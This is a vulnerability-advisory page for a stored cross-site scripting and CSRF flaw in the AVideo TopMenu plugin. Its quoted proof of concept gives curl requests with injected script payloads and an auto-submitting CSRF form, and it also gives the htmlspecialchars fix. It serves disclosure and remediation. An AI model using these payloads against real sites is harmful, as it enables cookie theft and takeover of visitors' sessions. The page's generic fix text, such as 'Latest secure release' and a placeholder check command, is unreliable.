GHSA-gmpc-fxg2-vcmq: Wwbn/avideo Cross-Site Scripting Vulnerability

MODERATE
CVSS 6.1
CWE-79
Published
Advisory Summary

GHSA-gmpc-fxg2-vcmq is a MODERATE (CVSS 6.1) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves avideo has stored xss via unescaped menu item fields in topmenu plugin. Remediation is available in the latest vendor maintenance releases.

GHSA-gmpc-fxg2-vcmq at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-gmpc-fxg2-vcmq
Severity MODERATE
CVSS v3.1 Base Score 6.1
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Wwbn/avideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 6.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix GHSA-gmpc-fxg2-vcmq

To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by GHSA-gmpc-fxg2-vcmq, inspect your project dependencies for Wwbn/avideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The TopMenu plugin renders menu item fields (icon classes, URLs, and text labels) directly into HTML without applying `htmlspecialchars()` or any other output encoding. Since menu items are rendered on every public page through plugin hooks, a single malicious menu entry results in stored cross-site scripting that executes for every visitor to the site. An admin user who is tricked into saving a crafted menu item (or an attacker who gains admin access) can compromise all site visitors. ## Details Multiple output locations in the TopMenu plugin render user-controlled data without escaping: In `HTMLMenuRight.php:24`, the icon class is injected directly: ```php <i class="<?php echo $value2['icon'] ?>"></i> ``` In `HTMLMenuRight.php:40`, the URL is rendered without encoding: ```php <a href="<?php echo $value2['finalURL']; ?>"> ``` In `HTMLMenuLeft.php:32`, same pattern for the left menu: ```php <a href="<?php echo $value2['finalURL']; ?>"> ``` In `index.php:49`, the menu item text is echoed raw: ```php <?php echo $menuItem->getText(); ?> ``` Menu item data is saved via `menuItemSave.json.php` with no sanitization in the setter methods. The stored values are loaded from the database and rendered on every page because the TopMenu plugin hooks into the global page layout. Critically, `menuItemSave.json.php` has no CSRF protection. It checks `User::isAdmin()` but does not call `isGlobalTokenValid()` or perform any other CSRF token validation. This means the stored XSS can be chained with CSRF: an attacker does not need a compromised admin account. Instead, a cross-origin POST from an attacker-controlled page can create the malicious menu item if an admin visits the attacker's page while logged in. ## Proof of Concept 1. As an admin user, save a menu item with a malicious icon class: ```bash curl -b "PHPSESSID=ADMIN_SESSION" \ -X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \ -d 'icon=fa-home" onmouseover="alert(document.cookie)&text=Home&url=/&status=a' ``` 2. Alternatively, inject via the URL field to create a JavaScript link: ```bash curl -b "PHPSESSID=ADMIN_SESSION" \ -X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \ -d 'icon=fa-link&text=Click+Me&url=javascript:alert(document.cookie)&status=a' ``` 3. Alternatively, inject via the text field: ```bash curl -b "PHPSESSID=ADMIN_SESSION" \ -X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \ -d 'icon=fa-home&text=<script>alert(document.cookie)</script>&url=/&status=a' ``` 4. Alternatively, chain with CSRF (no admin account needed). Host this HTML on an attacker-controlled domain and lure an admin to visit it: ```html <!DOCTYPE html> <html> <head><title>AVI-041 CSRF + Stored XSS PoC</title></head> <body> <h1>Loading...</h1> <iframe name="f1" style="display:none"></iframe> <form id="inject" method="POST" target="f1" action="https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php"> <input type="hidden" name="menuId" value="1" /> <input type="hidden" name="item_order" value="99" /> <input type="hidden" name="item_status" value="a" /> <input type="hidden" name="text" value="&lt;script&gt;alert(document.cookie)&lt;/script&gt;" /> <input type="hidden" name="title" value="Home" /> <input type="hidden" name="url" value="/" /> <input type="hidden" name="icon" value="fa-home" /> <input type="hidden" name="menuSeoUrlItem" value="" /> </form> <script>document.getElementById('inject').submit();</script> </body> </html> ``` The cross-origin POST creates the malicious menu item because `menuItemSave.json.php` has no CSRF token validation. 5. Visit any page on the AVideo instance: ```bash curl "https://your-avideo-instance.com/" ``` 6. The injected JavaScript executes in the context of every visitor's browser session because the menu is rendered on all pages. ## Impact Stored cross-site scripting on every page of the AVideo instance. An attacker can steal session cookies, redirect users to phishing pages, modify page content, or perform actions on behalf of authenticated users (including admins). Because the menu renders globally, a single injection point compromises all visitors to the site. ## Recommended Fix Apply `htmlspecialchars()` with `ENT_QUOTES` to all outputs of `$value2['finalURL']`, `$value2['icon']`, and `$menuItem->getText()` in the TopMenu plugin templates: ```php // HTMLMenuRight.php:24 <i class="<?php echo htmlspecialchars($value2['icon'], ENT_QUOTES, 'UTF-8'); ?>"></i> // HTMLMenuRight.php:40 <a href="<?php echo htmlspecialchars($value2['finalURL'], ENT_QUOTES, 'UTF-8'); ?>"> // HTMLMenuLeft.php:32 <a href="<?php echo htmlspecialchars($value2['finalURL'], ENT_QUOTES, 'UTF-8'); ?>"> // floatMenu.php - same pattern for any $value2['icon'] and $value2['finalURL'] outputs // index.php:49 <?php echo htmlspecialchars($menuItem->getText(), ENT_QUOTES, 'UTF-8'); ?> ``` Apply the same encoding to every location in `HTMLMenuRight.php`, `HTMLMenuLeft.php`, `floatMenu.php`, and `index.php` where these values are echoed into HTML. --- *Found by [aisafe.io](https://aisafe.io)*

GHSA-gmpc-fxg2-vcmq Affected Wwbn/avideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
≤ 26.0

References

Frequently Asked Questions

What is GHSA-gmpc-fxg2-vcmq?
GHSA-gmpc-fxg2-vcmq is a security vulnerability in Wwbn/avideo involving AVideo has Stored XSS via Unescaped Menu Item Fields in TopMenu Plugin under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Wwbn/avideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes GHSA-gmpc-fxg2-vcmq?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of GHSA-gmpc-fxg2-vcmq?
GHSA-gmpc-fxg2-vcmq has a CVSS v3.1 base score of 6.1 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with GHSA-gmpc-fxg2-vcmq?
GHSA-gmpc-fxg2-vcmq is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for GHSA-gmpc-fxg2-vcmq?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gmpc-fxg2-vcmq",
  "modified" : "2026-04-01T23:25:11Z",
  "published" : "2026-04-01T23:25:11Z",
  "aliases" : [ ],
  "summary" : "AVideo has Stored XSS via Unescaped Menu Item Fields in TopMenu Plugin",
  "details" : "## Summary\n\nThe TopMenu plugin renders menu item fields (icon classes, URLs, and text labels) directly into HTML without applying `htmlspecialchars()` or any other output encoding. Since menu items are rendered on every public page through plugin hooks, a single malicious menu entry results in stored cross-site scripting that executes for every visitor to the site. An admin user who is tricked into saving a crafted menu item (or an attacker who gains admin access) can compromise all site visitors.\n\n## Details\n\nMultiple output locations in the TopMenu plugin render user-controlled data without escaping:\n\nIn `HTMLMenuRight.php:24`, the icon class is injected directly:\n\n```php\n<i class=\"<?php echo $value2['icon'] ?>\"></i>\n```\n\nIn `HTMLMenuRight.php:40`, the URL is rendered without encoding:\n\n```php\n<a href=\"<?php echo $value2['finalURL']; ?>\">\n```\n\nIn `HTMLMenuLeft.php:32`, same pattern for the left menu:\n\n```php\n<a href=\"<?php echo $value2['finalURL']; ?>\">\n```\n\nIn `index.php:49`, the menu item text is echoed raw:\n\n```php\n<?php echo $menuItem->getText(); ?>\n```\n\nMenu item data is saved via `menuItemSave.json.php` with no sanitization in the setter methods. The stored values are loaded from the database and rendered on every page because the TopMenu plugin hooks into the global page layout.\n\nCritically, `menuItemSave.json.php` has no CSRF protection. It checks `User::isAdmin()` but does not call `isGlobalTokenValid()` or perform any other CSRF token validation. This means the stored XSS can be chained with CSRF: an attacker does not need a compromised admin account. Instead, a cross-origin POST from an attacker-controlled page can create the malicious menu item if an admin visits the attacker's page while logged in.\n\n## Proof of Concept\n\n1. As an admin user, save a menu item with a malicious icon class:\n\n```bash\ncurl -b \"PHPSESSID=ADMIN_SESSION\" \\\n  -X POST \"https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php\" \\\n  -d 'icon=fa-home\" onmouseover=\"alert(document.cookie)&text=Home&url=/&status=a'\n```\n\n2. Alternatively, inject via the URL field to create a JavaScript link:\n\n```bash\ncurl -b \"PHPSESSID=ADMIN_SESSION\" \\\n  -X POST \"https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php\" \\\n  -d 'icon=fa-link&text=Click+Me&url=javascript:alert(document.cookie)&status=a'\n```\n\n3. Alternatively, inject via the text field:\n\n```bash\ncurl -b \"PHPSESSID=ADMIN_SESSION\" \\\n  -X POST \"https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php\" \\\n  -d 'icon=fa-home&text=<script>alert(document.cookie)</script>&url=/&status=a'\n```\n\n4. Alternatively, chain with CSRF (no admin account needed). Host this HTML on an attacker-controlled domain and lure an admin to visit it:\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>AVI-041 CSRF + Stored XSS PoC</title></head>\n<body>\n<h1>Loading...</h1>\n<iframe name=\"f1\" style=\"display:none\"></iframe>\n<form id=\"inject\" method=\"POST\" target=\"f1\"\n      action=\"https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php\">\n  <input type=\"hidden\" name=\"menuId\" value=\"1\" />\n  <input type=\"hidden\" name=\"item_order\" value=\"99\" />\n  <input type=\"hidden\" name=\"item_status\" value=\"a\" />\n  <input type=\"hidden\" name=\"text\" value=\"&lt;script&gt;alert(document.cookie)&lt;/script&gt;\" />\n  <input type=\"hidden\" name=\"title\" value=\"Home\" />\n  <input type=\"hidden\" name=\"url\" value=\"/\" />\n  <input type=\"hidden\" name=\"icon\" value=\"fa-home\" />\n  <input type=\"hidden\" name=\"menuSeoUrlItem\" value=\"\" />\n</form>\n<script>document.getElementById('inject').submit();</script>\n</body>\n</html>\n```\n\nThe cross-origin POST creates the malicious menu item because `menuItemSave.json.php` has no CSRF token validation.\n\n5. Visit any page on the AVideo instance:\n\n```bash\ncurl \"https://your-avideo-instance.com/\"\n```\n\n6. The injected JavaScript executes in the context of every visitor's browser session because the menu is rendered on all pages.\n\n## Impact\n\nStored cross-site scripting on every page of the AVideo instance. An attacker can steal session cookies, redirect users to phishing pages, modify page content, or perform actions on behalf of authenticated users (including admins). Because the menu renders globally, a single injection point compromises all visitors to the site.\n\n## Recommended Fix\n\nApply `htmlspecialchars()` with `ENT_QUOTES` to all outputs of `$value2['finalURL']`, `$value2['icon']`, and `$menuItem->getText()` in the TopMenu plugin templates:\n\n```php\n// HTMLMenuRight.php:24\n<i class=\"<?php echo htmlspecialchars($value2['icon'], ENT_QUOTES, 'UTF-8'); ?>\"></i>\n\n// HTMLMenuRight.php:40\n<a href=\"<?php echo htmlspecialchars($value2['finalURL'], ENT_QUOTES, 'UTF-8'); ?>\">\n\n// HTMLMenuLeft.php:32\n<a href=\"<?php echo htmlspecialchars($value2['finalURL'], ENT_QUOTES, 'UTF-8'); ?>\">\n\n// floatMenu.php - same pattern for any $value2['icon'] and $value2['finalURL'] outputs\n// index.php:49\n<?php echo htmlspecialchars($menuItem->getText(), ENT_QUOTES, 'UTF-8'); ?>\n```\n\nApply the same encoding to every location in `HTMLMenuRight.php`, `HTMLMenuLeft.php`, `floatMenu.php`, and `index.php` where these values are echoed into HTML.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-gmpc-fxg2-vcmq"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-01T23:25:11Z",
    "nvd_published_at" : null
  }
}